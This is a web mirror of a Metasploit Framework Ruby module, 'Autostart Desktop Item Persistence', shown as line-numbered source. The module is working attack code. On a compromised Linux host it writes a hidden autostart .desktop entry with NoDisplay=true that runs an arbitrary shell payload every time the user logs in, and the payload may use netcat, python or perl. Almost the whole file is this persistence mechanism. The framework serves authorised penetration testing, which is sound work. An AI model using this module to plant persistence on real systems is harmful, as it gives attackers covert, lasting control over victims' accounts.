Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/local/autostart_persistence.rb
19823 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::File
10
include Msf::Post::Unix
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Autostart Desktop Item Persistence',
17
'Description' => %q{
18
This module will create an autostart entry to execute a payload.
19
The payload will be executed when the users logs in.
20
},
21
'License' => MSF_LICENSE,
22
'Author' => [ 'Eliott Teissonniere' ],
23
'Platform' => [ 'unix', 'linux' ],
24
'Arch' => ARCH_CMD,
25
'Payload' => {
26
'BadChars' => '#%\n"',
27
'Compat' => {
28
'PayloadType' => 'cmd',
29
'RequiredCmd' => 'generic python netcat perl'
30
}
31
},
32
'SessionTypes' => [ 'shell', 'meterpreter' ],
33
'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => true },
34
'DisclosureDate' => '2006-02-13', # Date of the 0.5 doc for autostart
35
'Targets' => [ ['Automatic', {}] ],
36
'DefaultTarget' => 0,
37
'Notes' => {
38
'Reliability' => UNKNOWN_RELIABILITY,
39
'Stability' => UNKNOWN_STABILITY,
40
'SideEffects' => UNKNOWN_SIDE_EFFECTS
41
}
42
)
43
)
44
45
register_options([ OptString.new('NAME', [false, 'Name of autostart entry' ]) ])
46
end
47
48
def exploit
49
name = datastore['NAME'] || Rex::Text.rand_text_alpha(5)
50
51
home = cmd_exec('echo ~')
52
53
path = "#{home}/.config/autostart/#{name}.desktop"
54
55
print_status('Making sure the autostart directory exists')
56
cmd_exec("mkdir -p #{home}/.config/autostart") # in case no autostart exists
57
58
print_status("Uploading autostart file #{path}")
59
60
write_file(path, [
61
"[Desktop Entry]",
62
"Type=Application",
63
"Name=#{name}",
64
"NoDisplay=true",
65
"Terminal=false",
66
"Exec=/bin/sh -c \"#{payload.encoded}\""
67
].join("\n"))
68
end
69
end
70
71